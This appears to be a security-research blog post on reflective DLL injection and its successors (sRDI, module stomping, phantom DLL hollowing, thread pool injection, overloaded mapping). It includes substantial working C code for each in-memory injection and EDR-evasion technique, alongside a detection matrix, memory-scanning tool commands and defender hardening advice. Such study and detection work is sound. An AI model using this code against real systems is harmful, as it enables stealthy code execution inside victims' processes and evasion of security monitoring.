Back to Blog
Cloud IAM Security

The Evolution of Reflective DLL Injection

OffSec Research Team
10 June 2026 • 09:00 AM18 min
The Evolution of Reflective DLL Injection
TL;DR — Reflective DLL Injection (RDI), introduced by Stephen Fewer in 2008, allows a DLL to load itself into memory without ever touching disk or relying on the Windows loader. The technique evolved through sRDI (shellcode conversion), module stomping, phantom DLL hollowing, and thread pool abuse into a family of memory-resident injection primitives. Each variant trades off a different axis of the detection surface, and no single control defeats the entire family.

Executive Summary

When Stephen Fewer published the original Reflective DLL Injection paper and proof-of-concept in 2008, he solved a fundamental problem for offensive operators: how to inject a fully functional DLL into a remote process without calling LoadLibrary, which requires the DLL to exist on disk and creates a visible entry in the process module list. The key insight was embedding a self-contained bootstrapping function — ReflectiveLoader — inside the DLL itself. That function could locate its own base address at runtime, find the Windows API functions it needed without relying on any existing import table, manually parse its own PE headers, apply relocations, resolve its own imports, and finally transfer execution to DllMain. No disk write, no LoadLibrary call, no PEB entry.

Since 2008, adversaries and researchers have layered additional evasion properties on top of the original RDI concept. Shellcode RDI (sRDI) removes even the DLL format requirement by converting the entire DLL into position-independent shellcode, making it directly injectable as a raw byte blob. Module stomping and phantom DLL hollowing address the "anonymous RWX region" detection signature by ensuring the injected payload occupies file-backed, legitimately-mapped memory. Thread pool injection avoids triggering thread-creation callbacks by reusing existing threads via APCs or the Windows thread pool API.

This post dissects every major variant from first principles, including working C pseudocode and annotated assembly concepts, maps the detection surface of each across five key observability dimensions, and provides actionable guidance for both defenders building detection content and red teamers assessing their tradecraft's deniability.


MITRE ATT&CK Context

T1055.001 — Process Injection: Dynamic-link Library Injection

RDI and its variants fall under the DLL injection sub-technique. Key tactic: Defense Evasion (TA0005) and Privilege Escalation (TA0004). Defenders should also consider T1620 (Reflective Code Loading) for in-process variants where the beacon itself performs the load without crossing a process boundary.


Classic RDI: How ReflectiveLoader Works

Finding the DLL's Own Base Address

The first challenge ReflectiveLoader faces is that it has been copied into a remote process at an unknown address — it cannot use static addresses. Fewer's elegant solution uses the CALL/POP trick to determine the current instruction pointer, then walks backward in 4 KB steps until the MZ signature is found:

c
// x86-64 inline assembly approach (MSVC intrinsic equivalent)ULONG_PTR GetLoaderBase(void) {    ULONG_PTR uiReturnAddress;    // CALL pushes RIP of next instruction; POP retrieves it    __asm {        call  _get_rip        _get_rip:        pop   uiReturnAddress    }    // Align down to nearest 4K page and scan backward for MZ signature    uiReturnAddress &= ~(ULONG_PTR)0xFFF;    while (TRUE) {        // Check for 'MZ' (0x5A4D) at candidate base        if (((PIMAGE_DOS_HEADER)uiReturnAddress)->e_magic == IMAGE_DOS_SIGNATURE) {            PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(                uiReturnAddress +                ((PIMAGE_DOS_HEADER)uiReturnAddress)->e_lfanew);            if (pNt->Signature == IMAGE_NT_SIGNATURE)                break;        }        uiReturnAddress -= 0x1000;    }    return uiReturnAddress;}

On modern x86-64, compilers use RIP-relative addressing for PIC code. The CALL +0 / POP RBX idiom is the portable equivalent and appears in the original Fewer source as inline __asm blocks.

PEB Walk to Find kernel32.dll

With no IAT and no known API addresses, ReflectiveLoader must find kernel32.dll through the Process Environment Block loader list, which is always present in any Windows process:

c
ULONG_PTR GetKernel32Base(void) {    PPEB pPeb;#ifdef _WIN64    pPeb = (PPEB)__readgsqword(0x60);#else    pPeb = (PPEB)__readfsdword(0x30);#endif    PPEB_LDR_DATA pLdr = pPeb->Ldr;    PLIST_ENTRY pHead  = &pLdr->InMemoryOrderModuleList;    PLIST_ENTRY pNode  = pHead->Flink;     while (pNode != pHead) {        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(            pNode, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);         // Hash the module name (BaseDllName is UNICODE) and compare to        // precomputed ROR-13 hash of L"KERNEL32.DLL" (uppercased)        if (HashUnicodeString(pEntry->BaseDllName.Buffer,                              pEntry->BaseDllName.Length / 2)                              == KERNEL32_HASH) {            return (ULONG_PTR)pEntry->DllBase;        }        pNode = pNode->Flink;    }    return 0;}

The PEB offset 0x60 (GS-relative on x86-64) and 0x30 (FS-relative on x86) are stable across Windows versions from XP through Windows 11. The loader list (InMemoryOrderModuleList) walks all modules in load order; kernel32.dll is always among the first three entries (after ntdll.dll and the process image itself).

ROR-13 Hash-Based Export Resolution

Rather than comparing function name strings inline, ReflectiveLoader uses a rotating hash (ROR-13) to compare candidate export names against precomputed constants for the three functions it needs from kernel32.dll:

c
// Precomputed hashes (case-insensitive, ANSI)#define HASH_GETPROCADDRESS   0x7C0DFCAA#define HASH_LOADLIBRARYA     0xEC0E4E8E#define HASH_VIRTUALALLOC     0x91AFCA54 static inline DWORD ROR13Hash(const char *pStr) {    DWORD dwHash = 0;    while (*pStr) {        // ROR 13 bits        dwHash = (dwHash >> 13) | (dwHash << (32 - 13));        dwHash += (BYTE)(*pStr++);    }    return dwHash;} // Walk the export directory of a mapped module and return// the function address matching dwTargetHashFARPROC GetExportByHash(ULONG_PTR uiBase, DWORD dwTargetHash) {    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)uiBase;    PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)(uiBase + pDos->e_lfanew);    DWORD dwExpRVA = pNt->OptionalHeader        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;    if (!dwExpRVA) return NULL;     PIMAGE_EXPORT_DIRECTORY pExp =        (PIMAGE_EXPORT_DIRECTORY)(uiBase + dwExpRVA);     PDWORD  pNames     = (PDWORD)(uiBase + pExp->AddressOfNames);    PWORD   pOrdinals  = (PWORD) (uiBase + pExp->AddressOfNameOrdinals);    PDWORD  pFunctions = (PDWORD)(uiBase + pExp->AddressOfFunctions);     for (DWORD i = 0; i < pExp->NumberOfNames; i++) {        const char *pName = (const char *)(uiBase + pNames[i]);        if (ROR13Hash(pName) == dwTargetHash) {            WORD wOrd = pOrdinals[i];            return (FARPROC)(uiBase + pFunctions[wOrd]);        }    }    return NULL;}

Full PE Self-Loading: Sections, Relocations, IAT

With VirtualAlloc, LoadLibraryA, and GetProcAddress resolved, ReflectiveLoader allocates a new executable region and manually loads the entire PE image:

c
typedef LPVOID (WINAPI *pVirtualAlloc_t)(LPVOID, SIZE_T, DWORD, DWORD);typedef HMODULE(WINAPI *pLoadLibraryA_t)(LPCSTR);typedef FARPROC(WINAPI *pGetProcAddress_t)(HMODULE, LPCSTR);typedef BOOL   (WINAPI *DllMain_t)(HINSTANCE, DWORD, LPVOID); void ReflectiveLoader(void) {    ULONG_PTR uiBase   = GetLoaderBase();    ULONG_PTR uiKernel = GetKernel32Base();     pVirtualAlloc_t   pVAlloc  = (pVirtualAlloc_t)        GetExportByHash(uiKernel, HASH_VIRTUALALLOC);    pLoadLibraryA_t   pLoadLib = (pLoadLibraryA_t)        GetExportByHash(uiKernel, HASH_LOADLIBRARYA);    pGetProcAddress_t pGetProc = (pGetProcAddress_t)        GetExportByHash(uiKernel, HASH_GETPROCADDRESS);     PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)uiBase;    PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)(uiBase + pDos->e_lfanew);     // --- Step 1: Allocate target region ---    LPVOID pImage = pVAlloc(NULL,        pNt->OptionalHeader.SizeOfImage,        MEM_RESERVE | MEM_COMMIT,        PAGE_EXECUTE_READWRITE);     // --- Step 2: Copy PE headers ---    __builtin_memcpy(pImage, (void *)uiBase,        pNt->OptionalHeader.SizeOfHeaders);     // --- Step 3: Copy sections ---    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {        if (pSec->SizeOfRawData) {            __builtin_memcpy((BYTE *)pImage + pSec->VirtualAddress,                             (BYTE *)uiBase  + pSec->PointerToRawData,                             pSec->SizeOfRawData);        }    }     // --- Step 4: Apply base relocations ---    ULONG_PTR uiDelta = (ULONG_PTR)pImage                      - pNt->OptionalHeader.ImageBase;    DWORD dwRelocRVA  = pNt->OptionalHeader        .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;     if (dwRelocRVA && uiDelta) {        PIMAGE_BASE_RELOCATION pReloc =            (PIMAGE_BASE_RELOCATION)((BYTE *)pImage + dwRelocRVA);        while (pReloc->VirtualAddress) {            WORD  *pEntry = (WORD *)(pReloc + 1);            DWORD  count  = (pReloc->SizeOfBlock                             - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);            for (DWORD i = 0; i < count; i++) {                int type = pEntry[i] >> 12;                if (type == IMAGE_REL_BASED_DIR64) {                    ULONG_PTR *pAddr = (ULONG_PTR *)(                        (BYTE *)pImage + pReloc->VirtualAddress                        + (pEntry[i] & 0x0FFF));                    *pAddr += uiDelta;                } else if (type == IMAGE_REL_BASED_HIGHLOW) {                    DWORD *pAddr = (DWORD *)(                        (BYTE *)pImage + pReloc->VirtualAddress                        + (pEntry[i] & 0x0FFF));                    *pAddr += (DWORD)uiDelta;                }            }            pReloc = (PIMAGE_BASE_RELOCATION)(                (BYTE *)pReloc + pReloc->SizeOfBlock);        }    }     // --- Step 5: Resolve IAT ---    DWORD dwImpRVA = pNt->OptionalHeader        .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;    if (dwImpRVA) {        PIMAGE_IMPORT_DESCRIPTOR pImp =            (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)pImage + dwImpRVA);        while (pImp->Name) {            HMODULE hMod = pLoadLib(                (LPCSTR)((BYTE *)pImage + pImp->Name));            PIMAGE_THUNK_DATA pThunk =                (PIMAGE_THUNK_DATA)((BYTE *)pImage + pImp->FirstThunk);            PIMAGE_THUNK_DATA pOrig  =                (PIMAGE_THUNK_DATA)((BYTE *)pImage + pImp->OriginalFirstThunk);            while (pOrig->u1.AddressOfData) {                if (pOrig->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {                    pThunk->u1.Function = (ULONG_PTR)pGetProc(                        hMod, (LPCSTR)(pOrig->u1.Ordinal & 0xFFFF));                } else {                    PIMAGE_IMPORT_BY_NAME pByName =                        (PIMAGE_IMPORT_BY_NAME)(                            (BYTE *)pImage + pOrig->u1.AddressOfData);                    pThunk->u1.Function = (ULONG_PTR)pGetProc(                        hMod, pByName->Name);                }                pThunk++; pOrig++;            }            pImp++;        }    }     // --- Step 6: Call DllMain(DLL_PROCESS_ATTACH) ---    DllMain_t pDllMain = (DllMain_t)(        (BYTE *)pImage + pNt->OptionalHeader.AddressOfEntryPoint);    pDllMain((HINSTANCE)pImage, DLL_PROCESS_ATTACH, NULL);}

The entire ReflectiveLoader function is compiled position-independently and placed in its own section. When the remote allocator copies the DLL blob and starts a thread at the ReflectiveLoader offset, execution is entirely self-contained.


sRDI: Shellcode Reflective DLL Injection

The sRDI project by Nick Landers (monoxgas) extends classic RDI by converting any DLL — even one without an exported ReflectiveLoader — into pure position-independent shellcode. This is operationally significant because:

  • The output is a flat byte array with no MZ/PE magic bytes at offset 0.
  • It can be delivered via any shellcode injection primitive (BOF, WriteProcessMemory + CreateRemoteThread, NtAllocateVirtualMemory + RtlCreateUserThread, etc.).
  • The bootstrap stub is extremely compact and does not require staging a PE-shaped blob.
python
# sRDI Python converter usagefrom srdi import ConvertToShellcode with open("payload.dll", "rb") as f:    dll_bytes = f.read() # functionName: exported function to call after DllMain completes# userData:     opaque blob forwarded to that function as argument# flags:        0x1 = zero out PE headers after loading (anti-forensic)shellcode = ConvertToShellcode(    dll_bytes,    functionName="Run",    userData=b"\\\\192.168.1.10\\share",    flags=0x1) with open("payload.bin", "wb") as f:    f.write(shellcode) print(f"Shellcode size: {len(shellcode)} bytes")

The bootstrap stub (a few hundred bytes of x64 PIC assembly) is prepended. When executed, it uses CALL +0 / POP RBX to determine its own address, locates the embedded DLL blob at a fixed offset, replicates the full ReflectiveLoader logic, and calls the specified export. With flags=0x1, the PE headers of the loaded image are zeroed after mapping — defeating simple in-memory PE signature scans.


Module Stomping: File-Backed Stealth

A critical detection signature of both classic RDI and sRDI is the presence of anonymous (MEM_PRIVATE) executable memory regions inside a process that have no corresponding file on disk. PE-sieve and Moneta flag these immediately. Module stomping addresses this by:

  • Loading a legitimate, signed DLL into the target process via LoadLibraryEx with DONT_RESOLVE_DLL_REFERENCES.
  • The Windows kernel creates a MEM_IMAGE VAD entry backed by the DLL file — fully legitimate from a VirtualQuery / MEMORY_BASIC_INFORMATION standpoint.
  • The attacker overwrites the .text section of that mapping with the payload bytes.
c
// Target: a rarely-monitored, signed system DLL with a .text section// large enough to hold the payloadconst char *pDecoyDll = "C:\\Windows\\System32\\diasymreader.dll"; HMODULE hDecoy = LoadLibraryExA(pDecoyDll, NULL,                                 DONT_RESOLVE_DLL_REFERENCES);if (!hDecoy) { /* error handling */ } // Parse the decoy's PE headers to find .text sectionPIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hDecoy;PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)(    (BYTE *)hDecoy + pDos->e_lfanew);PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt); LPVOID pTextBase = NULL;SIZE_T uTextSize = 0;for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {    if (memcmp(pSec->Name, ".text", 5) == 0) {        pTextBase = (BYTE *)hDecoy + pSec->VirtualAddress;        uTextSize = pSec->Misc.VirtualSize;        break;    }} if (payloadSize > uTextSize) { /* payload too large */ } // Temporarily make writableDWORD dwOld;VirtualProtect(pTextBase, payloadSize, PAGE_EXECUTE_READWRITE, &dwOld);memcpy(pTextBase, pPayload, payloadSize);VirtualProtect(pTextBase, payloadSize, PAGE_EXECUTE_READ, &dwOld); // Execute via remote thread (or APC into alertable thread for lower noise)HANDLE hThread = CreateRemoteThread(    GetCurrentProcess(), NULL, 0,    (LPTHREAD_START_ROUTINE)pTextBase, NULL, 0, NULL);WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);// Unload decoy module after execution completesFreeLibrary(hDecoy);

The in-memory vs on-disk mismatch is the key detection artefact: diasymreader.dll on disk contains the original signed content, but the mapped .text section contains the payload. PE-sieve detects this by hashing sections of mapped modules and comparing against the on-disk file. Tools like Moneta flag the region as MEM_IMAGE with PAGE_EXECUTE_READ while the disk hash mismatches — a high-confidence indicator of module stomping.


Phantom DLL Hollowing

Phantom hollowing avoids LoadLibrary entirely, using low-level NT APIs to create a SEC_IMAGE section backed by a legitimate DLL file, map it into the target process, then overwrite the content via Copy-on-Write:

c
// 1. Open the legitimate DLLHANDLE hFile;UNICODE_STRING usDll;OBJECT_ATTRIBUTES oa;IO_STATUS_BLOCK iosb; RtlInitUnicodeString(&usDll,    L"\\??\\C:\\Windows\\System32\\clbcatq.dll");InitializeObjectAttributes(&oa, &usDll, OBJ_CASE_INSENSITIVE, NULL, NULL);NtOpenFile(&hFile, GENERIC_READ | SYNCHRONIZE, &oa, &iosb,           FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); // 2. Create SEC_IMAGE section (PE-aligned, copy-on-write capable)HANDLE hSection;NtCreateSection(&hSection,    SECTION_ALL_ACCESS,    NULL,                // no object attributes (anonymous section)    NULL,                // MaximumSize = file size    PAGE_READONLY,    SEC_IMAGE,           // mapped as PE with proper alignment    hFile);NtClose(hFile); // 3. Map into target process with EXECUTE_WRITECOPYPVOID  pBase     = NULL;SIZE_T viewSize  = 0;NtMapViewOfSection(hSection, hTargetProcess,    &pBase, 0, 0,    NULL,                // SectionOffset = 0    &viewSize,    ViewUnmap,    0,    PAGE_EXECUTE_WRITECOPY);  // CoW on first write // 4. Overwrite PE headers + first section with payload// WriteProcessMemory triggers CoW, making these pages MEM_PRIVATEWriteProcessMemory(hTargetProcess, pBase,    pPayload, payloadSize, NULL); // 5. Queue APC to an alertable thread — avoids new thread creation eventNtQueueApcThread(hAlertableThread,    (PPS_APC_ROUTINE)pBase, NULL, NULL, NULL);

The VAD entry for pBase shows Type=MappedFile with the path \Device\HarddiskVolume3\Windows\System32\clbcatq.dll. Superficial tooling sees a file-backed, non-anonymous region. However, because WriteProcessMemory triggered CoW, those pages are now MEM_PRIVATE at the PTE level. Moneta specifically checks for this condition: MEM_IMAGE VAD type combined with private PTE pages — a strong indicator of phantom hollowing.


Thread Pool Injection: Avoiding Thread Creation

Every CreateThread / CreateRemoteThread call triggers PsSetCreateThreadNotifyRoutine callbacks, which EDR kernel drivers register to inspect new threads (start address, TEB, stack). The thread pool approach reuses existing worker threads:

QueueUserAPC

c
// Find a thread in the target process that enters alertable waits// Common candidates: threads blocked on WaitForSingleObjectEx, SleepEx,// MsgWaitForMultipleObjectsEx with MWMO_ALERTABLEHANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, dwTargetTid);if (hThread) {    // APC fires when the thread next enters an alertable wait state    QueueUserAPC((PAPCFUNC)pPayloadAddress, hThread, 0);    CloseHandle(hThread);}

For guaranteed delivery without relying on alertable waits, use "Early Bird" APC injection: create the target process in CREATE_SUSPENDED, inject, queue the APC, then resume — the first thing the thread does when resumed is process queued APCs before the entry point runs.

TpAllocWork / TpPostWork (Undocumented Thread Pool API)

c
typedef NTSTATUS (NTAPI *pfnTpAllocWork)(    PVOID *WorkReturn, PVOID Callback, PVOID Context, PVOID CallbackEnviron);typedef VOID (NTAPI *pfnTpPostWork)(PVOID Work);typedef VOID (NTAPI *pfnTpReleaseWork)(PVOID Work); HMODULE hNtdll = GetModuleHandleA("ntdll.dll");pfnTpAllocWork   TpAllocWork   = GetProcAddress(hNtdll, "TpAllocWork");pfnTpPostWork    TpPostWork    = GetProcAddress(hNtdll, "TpPostWork");pfnTpReleaseWork TpReleaseWork = GetProcAddress(hNtdll, "TpReleaseWork"); PVOID pWorkItem = NULL;// Callback signature: VOID CALLBACK cb(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK)TpAllocWork(&pWorkItem, (PVOID)pPayloadCallback, NULL, NULL);TpPostWork(pWorkItem);// After execution completes:TpReleaseWork(pWorkItem);

This queues the callback onto the process's default thread pool. A pre-existing worker thread picks it up. PsSetCreateThreadNotifyRoutine is never triggered because no new thread is created — a clean evasion of thread-creation–based EDR telemetry.


Overloaded Module Mapping

Overloaded module mapping creates a file-backed executable view without using LoadLibrary (which would register in the PEB) and without the NT-level SEC_IMAGE flag (which triggers image-load callbacks):

c
// Use a legitimate cover DLL as the backing file for the mappingHANDLE hFile = CreateFileA(    "C:\\Windows\\System32\\version.dll",    GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // SEC_COMMIT (NOT SEC_IMAGE) — no PE alignment, no image-load callbackHANDLE hMapping = CreateFileMappingA(    hFile, NULL,    PAGE_EXECUTE_WRITECOPY,    0, 0, NULL);CloseHandle(hFile); LPVOID pView = MapViewOfFile(hMapping,    FILE_MAP_EXECUTE | FILE_MAP_COPY, 0, 0, 0); // Manually copy and relocate the malicious PE into the view// (Reuse the same section/reloc/IAT logic from ReflectiveLoader)memcpy(pView, pMaliciousPE, peHeadersAndSectionsSize);ApplyRelocations(pView, (ULONG_PTR)pView);ResolveIAT(pView); // Execute at entry pointDWORD dwEPRva = ParseEntryPointRVA(pMaliciousPE);((void(*)(void))((BYTE *)pView + dwEPRva))();

The VAD entry shows version.dll as the backing file. No LdrLoadDll call is made, so no PEB_LDR_DATA entry is created. The key difference from phantom hollowing: SEC_COMMIT (rather than SEC_IMAGE) means the PE is not auto-aligned per section characteristics — the operator must either use a flat image or handle offsets manually.


Process Flow Diagrams

diagram — rendering…
flowchart TD
    A[Remote Process\nAllocates Buffer] --> B[WriteProcessMemory\nCopies DLL + ReflectiveLoader]
    B --> C[CreateRemoteThread\nat ReflectiveLoader offset]
    C --> D[CALL/POP trick\nfinds own base address]
    D --> E[PEB walk\nfinds kernel32.dll]
    E --> F[ROR13 hash resolution\nVirtualAlloc / LoadLibraryA\nGetProcAddress]
    F --> G[VirtualAlloc\nSizeOfImage bytes RWX]
    G --> H[Copy PE headers\nand all sections]
    H --> I[Apply base relocations\ndelta = alloc_base - preferred_base]
    I --> J[Walk IAT\nLoadLibraryA + GetProcAddress\nper import descriptor]
    J --> K[Call DllMain\nDLL_PROCESS_ATTACH]
    K --> L[Payload executing\ninside target process]
diagram — rendering…
flowchart LR
    subgraph ClassicRDI ["Classic RDI / sRDI"]
        A1["Anonymous MEM_PRIVATE RWX\n(high-confidence IoC)"]
        A2["Not in PEB loader list"]
        A3["New thread event fired"]
    end
    subgraph ModStomp ["Module Stomping"]
        B1["MEM_IMAGE file-backed\n(decoy DLL)"]
        B2["In PEB with decoy name"]
        B3["New thread event fired"]
        B4["On-disk hash MISMATCH"]
    end
    subgraph Phantom ["Phantom DLL Hollowing"]
        C1["MEM_IMAGE backing\nCoW pages = MEM_PRIVATE PTEs"]
        C2["Not in PEB"]
        C3["APC delivery\nno new thread"]
        C4["On-disk hash MISMATCH"]
    end
    subgraph TPool ["Thread Pool Injection"]
        D1["Depends on\nunderlying loader"]
        D2["No new thread\ncreation event"]
    end

Detection Matrix

TechniqueAnonymous RWX PresentPEB ListedFile-Backed (VAD)New Thread EventIn-Mem vs Disk Match
Classic RDIYES — high signalNoNoYesN/A (no disk file)
sRDIYES (no PE magic)NoNoYes/NoN/A
Module StompingNoYes (decoy name)YesYesMISMATCH (high signal)
Phantom DLL HollowingNo (CoW private PTEs)NoYes (backing file)No (APC)MISMATCH (high signal)
Overloaded MappingNoNoYes (cover DLL)NoMISMATCH
Thread Pool InjectionDepends on loaderDependsDependsNoDepends

Detection Tools and Methods

PE-sieve

PE-sieve scans all modules loaded in a target process, comparing mapped memory against the file on disk section-by-section. It detects anonymous executable regions, modified sections in MEM_IMAGE mappings, and exports pointing outside the module's mapped range.

shell
pe-sieve.exe /pid 1234 /imp 3 /shellc 1 /threads 1 /iat 1

The /shellc 1 flag enables shellcode detection in non-PE memory regions. /imp 3 scans import tables for anomalies. /threads 1 checks that every thread's start address resolves into a known, signed module.

Hollows Hunter

Hollows Hunter wraps PE-sieve to automatically scan every running process and report anomalies in a structured format. Useful for endpoint triage after suspected compromise:

shell
hollows_hunter.exe /pname explorer.exe /loop /iat 1 /json report.json

Moneta

Moneta performs VAD-level analysis of all memory regions in a process, specifically flagging:

  • MEM_PRIVATE pages within a MEM_IMAGE mapped region (the CoW phantom hollowing indicator)
  • Executable anonymous regions with no backing file
  • Executable modules missing from the PEB loader list
shell
Moneta64.exe -m All -p 1234

Call Stack Analysis

Modern EDRs unwind thread call stacks on CreateThread events and periodically during execution. A call stack that terminates in an anonymous or mismatched memory region — rather than returning through ntdll!LdrInitializeThunk into a signed module — is a high-confidence indicator of injection. For APC injection, the call stack at delivery shows ntdll!KiUserApcDispatcher → payload address. If that address is in anonymous memory or a mismatched MEM_IMAGE region, it should alert.


Hardening Recommendations for Defenders

  • ETW Threat Intelligence provider: Subscribe to Microsoft-Windows-Threat-Intelligence events. EtwTiLogAllocExecVm fires on VirtualAllocEx with execute permissions; EtwTiLogReadWriteVm fires on WriteProcessMemory. Correlate WriteProcessMemory to a region followed by CreateRemoteThread or NtQueueApcThread targeting that same region.
  • Kernel callback coverage: Ensure EDR driver registers PsSetLoadImageNotifyRoutine (image load), PsSetCreateThreadNotifyRoutine (thread creation), and ObRegisterCallbacks (handle acquisition). Module stomping bypasses image-load callbacks but not thread-creation callbacks for the thread that ultimately executes the payload.
  • Periodic in-process memory scanning: Hash .text sections of all loaded modules at process startup and on a timer, comparing against the on-disk file. Any mismatch warrants immediate investigation.
  • Thread start address validation: Every thread's start address should resolve to a MEM_IMAGE region corresponding to a signed module. Flag threads starting in anonymous, MEM_PRIVATE, or mismatched MEM_IMAGE regions.
  • AMSI/ETW patch detection: Payloads loaded via RDI commonly patch amsi!AmsiScanBuffer and ntdll!EtwEventWrite as their first DllMain actions. Monitor for writes to these function prologues.

Conclusion

Reflective DLL Injection began as a clever self-loading mechanism and has evolved into an entire family of memory-resident code injection techniques, each optimizing for a different axis of the detection surface. Classic RDI is now detected by any competent EDR. sRDI strips PE markers but retains the anonymous RWX signature. Module stomping and phantom DLL hollowing reclaim file-backed memory legitimacy at the cost of in-memory vs on-disk mismatch artifacts. Thread pool injection eliminates the thread creation signal but does not by itself address memory scanning.

For defenders, the critical insight is that no single detection control covers the whole family. A robust detection stack requires VAD-level scanning for anonymous executable pages, section-hash comparison against disk for all mapped modules, thread start address validation, and ETW-based API sequencing. For red teamers, technique chaining — phantom hollowing combined with thread pool APC delivery — currently provides the deepest evasion, but the CoW private PTE indicator and the NtCreateSection + NtMapViewOfSection API behavioral sequence remain detectable by mature, kernel-level tooling. The arms race continues.